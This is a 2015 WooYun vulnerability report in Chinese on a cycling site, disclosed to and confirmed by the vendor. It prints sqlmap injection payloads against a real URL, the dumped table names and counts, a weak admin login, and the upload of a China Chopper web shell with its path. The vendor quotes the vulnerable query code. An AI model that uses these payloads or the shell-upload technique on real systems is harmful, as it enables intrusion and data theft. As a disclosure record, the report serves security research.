当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0108320

漏洞标题:智行车SQL注入漏洞+后台任意文件上传(已Getshell)

相关厂商:zhixingche.me

漏洞作者: 几何黑店

提交时间:2015-04-16 12:07

修复时间:2015-05-31 12:14

公开时间:2015-05-31 12:14

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-16: 细节已通知厂商并且等待厂商处理中
2015-04-16: 厂商已经确认,细节仅向厂商公开
2015-04-26: 细节向核心白帽子及相关领域专家公开
2015-05-06: 细节向普通白帽子公开
2015-05-16: 细节向实习白帽子公开
2015-05-31: 细节向公众公开

简要描述:

智行车SQL注入漏洞+后台任意文件上传(已Getshell)
感谢@天地不仁以万物

详细说明:

使用了Yii Framework/2.0.0-dev
http://zhixingche.me/site/search-post?type=0&keyword=%22
报错

QQ图片20150416120041.png


那我们放到SQLMAP里跑跑

---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://zhixingche.me:80/site/search-post?type=0&keyword=" AND 3677=3677 AND "VuZD" LIKE "VuZD
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: http://zhixingche.me:80/site/search-post?type=0&keyword=" AND (SELECT 7174 FROM(SELECT COUNT(*),CONCAT(0x71707a6a71,(SELECT (ELT(7174=7174,1))),0x71787a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "AMtI" LIKE "AMtI
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: http://zhixingche.me:80/site/search-post?type=0&keyword=";(SELECT * FROM (SELECT(SLEEP(20)))KYvQ)#
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://zhixingche.me:80/site/search-post?type=0&keyword=" AND (SELECT * FROM (SELECT(SLEEP(20)))QpZl) AND "FqYz" LIKE "FqYz
---
back-end DBMS: MySQL 5.0
available databases [2]:
[*] information_schema
[*] zhixingche
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://zhixingche.me:80/site/search-post?type=0&keyword=" AND 3677=3677 AND "VuZD" LIKE "VuZD
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: http://zhixingche.me:80/site/search-post?type=0&keyword=" AND (SELECT 7174 FROM(SELECT COUNT(*),CONCAT(0x71707a6a71,(SELECT (ELT(7174=7174,1))),0x71787a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND "AMtI" LIKE "AMtI
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: http://zhixingche.me:80/site/search-post?type=0&keyword=";(SELECT * FROM (SELECT(SLEEP(5)))KYvQ)#
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: http://zhixingche.me:80/site/search-post?type=0&keyword=" AND (SELECT * FROM (SELECT(SLEEP(5)))QpZl) AND "FqYz" LIKE "FqYz
---
back-end DBMS: MySQL 5.0
Database: zhixingche
[21 tables]
+--------------------+
| tbl_admin |
| tbl_after_sale |
| tbl_apply |
| tbl_config |
| tbl_forum |
| tbl_forum_comment |
| tbl_forum_post |
| tbl_item |
| tbl_message |
| tbl_order |
| tbl_order_item |
| tbl_post |
| tbl_post_action |
| tbl_post_category |
| tbl_post_comment |
| tbl_post_favourite |
| tbl_region |
| tbl_special |
| tbl_user |
| tbl_user_address |
| tbl_user_token |
+--------------------+
Database: zhixingche
+--------------------+---------+
| Table | Entries |
+--------------------+---------+
| tbl_region | 3244 |
| tbl_post | 367 |
| tbl_user | 105 |
| tbl_forum_comment | 102 |
| tbl_post_action | 101 |
| tbl_user_token | 66 |
| tbl_forum_post | 38 |
| tbl_message | 9 |
| tbl_post_category | 7 |
| tbl_post_favourite | 7 |
| tbl_post_comment | 6 |
| tbl_admin | 5 |
| tbl_forum | 2 |
| tbl_config | 1 |
+--------------------+---------+


后台用户名很简单
明文传输,还可以爆破
root/7

漏洞证明:

进入后台后, 我们来看看有些什么可以利用的

QQ图片20150416115345.png


有个用户管理,可以上传用户头像,但是没对文件类型做任何限制,看来Yii Framework/2.0.0-dev这个版本应该都存在这个问题

QQ图片20150416120357.png


直接传个菜刀

mask 区域
1.http://**.**.**/upload/img/9e78bc2d24ca61b3d8be920bc95e9380.php


QQ图片20150416120518.png

修复方案:

你懂的

版权声明:转载请注明来源 几何黑店@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-04-16 12:12

厂商回复:

已确认,这么低级的错误:$query->andWhere("title like \"%$keyword%\" or tag like \"%$keyword%\" ");
非常感谢

最新状态:

暂无